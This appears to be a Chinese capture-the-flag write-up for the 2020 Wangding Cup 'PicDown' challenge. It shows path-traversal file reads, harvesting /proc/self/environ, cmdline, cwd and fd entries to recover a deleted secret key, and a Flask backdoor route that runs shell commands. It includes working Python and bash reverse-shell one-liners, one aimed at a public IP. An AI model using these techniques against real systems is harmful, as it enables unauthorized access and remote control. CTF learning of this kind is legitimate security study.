網(wǎng)站代碼優(yōu)化方法廣州信息流推廣公司排名
[網(wǎng)鼎杯 2020 白虎組]PicDown - 知乎
這里確實(shí)完全不會(huì) 第一次遇到一個(gè)只有文件讀取思路的題目
這里也確實(shí)說明還是要學(xué)學(xué)一些其他的東西了
首先打開環(huán)境
?只存在一個(gè)框框 我們通過 目錄掃描 抓包 注入 發(fā)現(xiàn)沒有用
我們測(cè)試能不能任意文件讀取
?url=../../../../etc/passwd
發(fā)現(xiàn)讀取成功
其次我到這里就沒有思路了
我們首先學(xué)東西吧
當(dāng)遇到文件讀取我們可以讀取什么
linux 文件讀取
Linux的/proc/self/學(xué)習(xí)_lmonstergg的博客-CSDN博客
我們可以打開我們的linux看看
除了我們最常見的 etc/passwd
其實(shí)還存在著兩個(gè)文件 可以讀取
environ
proc/self/environ
environ文件存儲(chǔ)著當(dāng)前進(jìn)程的環(huán)境變量列表,彼此間用空字符(NULL)隔開,變量用大寫字母表示,其值用小寫字母表示??梢酝ㄟ^查看environ目錄來獲取指定進(jìn)程的環(huán)境變量信息:
還是很敏感的 有的題目就喜歡出在環(huán)境變量里
第二個(gè)
cmdline
我們可以通過這個(gè)知道使用者在做什么
所以這道題 我們可以繼續(xù)來讀取
?
?cmdline中出現(xiàn)了 app.py 內(nèi)容
我們需要讀取
但是內(nèi)容在哪里呢。。。。
這個(gè)只能猜測(cè)了
但是我們知道 當(dāng)前工作環(huán)境多半就是app.py
所以其實(shí)在 proc里面 也同樣存在著當(dāng)前工作環(huán)境的文件
這個(gè)是一個(gè)方法
cwd
proc/self/cwd/app.py
?第二種 猜測(cè)main.py
我們猜測(cè)當(dāng)前環(huán)境的文件名有main.py
失敗
第三種
app.py 我們猜測(cè)在 app文件夾中
失敗
但是通過上面的cwd我們可以獲取代碼了
現(xiàn)在開始代碼審計(jì)
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)
我們?cè)谧x取代碼后發(fā)現(xiàn)
@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return res
這里是重要的內(nèi)容
首先要獲取 secet_/tmp/secret.txtkey
我們?nèi)タ纯?tmp/secret.txt
?沒有啊
但是這里我們需要學(xué)習(xí)一個(gè)內(nèi)容
open在linux
這里上面文件可能是被刪除或其他
但是我們需要看到一個(gè)代碼
f = open(SECRET_FILE)
?這里很顯然是通過 open函數(shù)打開 那么在linux中會(huì)創(chuàng)建文件標(biāo)識(shí)符
文件標(biāo)識(shí)符
文件標(biāo)識(shí)符是一個(gè)非負(fù)整數(shù)其實(shí)是一個(gè)索引值當(dāng)程序打開或創(chuàng)建 一個(gè)進(jìn)程的時(shí)候內(nèi)核會(huì)創(chuàng)建一個(gè)標(biāo)識(shí)符
這個(gè)標(biāo)識(shí)符 會(huì)存儲(chǔ)在 proc/self/fd/數(shù)字
這個(gè)文件中
所以我們通過bp爆破來獲取
在第三個(gè)中 我們獲取到了值 我們通過base解密一下
發(fā)現(xiàn)不是 那么就是明文了
所以我們獲取了key的值
zBsgJNHfXv01kvfGS0c0B9UxLVTYcpCK73NVovFs/cE=
下面我們通過反彈shell來執(zhí)行
正好學(xué)習(xí)一下什么是反彈shell吧
python反彈shell
含義
反彈shell的含義正向 就是 攻擊者通過(ssh,遠(yuǎn)程桌面等) 鏈接用戶客戶端反向 就是 用戶客戶端作為主動(dòng)鏈接方 主動(dòng)鏈接攻擊方
主要的目的是什么呢
目的
對(duì)方服務(wù)器存在防火 只能發(fā)送 不允許接受ip發(fā)生變化攻擊者需要在自己的 bash 終端上執(zhí)行命令
那這種反彈shell的原理是什么呢
原理
讓受害方 主動(dòng)鏈接 攻擊者主機(jī)攻擊者開放 19111端口TCP服務(wù)受害者鏈接 19111端口攻擊者 受害者 建立 TCP鏈接攻擊者通過 TCP 發(fā)送命令 給受害者執(zhí)行受害者將執(zhí)行后的命令返回
我們來模擬實(shí)驗(yàn)一下
首先確定攻擊和受害的ip
這里我使用我的ubuntu 和kalikali的ip為 192.168.48.130centos的ip為 192.168.48.132
我們首先
設(shè)置ubuntu防火墻
setenforce 0 //設(shè)置SELinux 成為permissive模式 臨時(shí)關(guān)閉selinux的
service iptables status //查看防火墻狀態(tài)
然后kali通過nc監(jiān)聽
centos通過 反彈shell
//kali使用nc進(jìn)行對(duì)本機(jī)的4444端口進(jìn)行監(jiān)聽:
nc -lvvp 4444
//目標(biāo)主機(jī)執(zhí)行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
發(fā)現(xiàn)成功獲取了 終端控制
?
?bash反彈shell
同樣我們先要獲取bash
centos中
nc -lvvp 4444 #kali
bash -i >& /dev/tcp/192.168.48.130/4444 0>&1 #centos
成功獲取
這里我們回到做題
kali中開始監(jiān)聽 然后通過python執(zhí)行反彈shell命令即可
/no_one_know_the_manager?key=zBsgJNHfXv01kvfGS0c0B9UxLVTYcpCK73NVovFs/cE=&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("112.74.89.58",41871));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
然后通過url編碼傳遞
上面我寫詳細(xì)一點(diǎn)
NATAPP -通過這個(gè)網(wǎng)站可以購買到 臨時(shí)域名
免費(fèi)的注冊(cè)一下就行了
通過里面的軟件
我們下載
然后通過命令行
natapp.exe --authtoken=
后面跟上 自己的就可以了
?這里會(huì)出現(xiàn)端口和域名 我們?nèi)ing一下域名 獲得ip即可
然后構(gòu)造即可
非預(yù)期
這里還有非預(yù)期 直接通過 page?url=/flag
直接輸出flag。。。。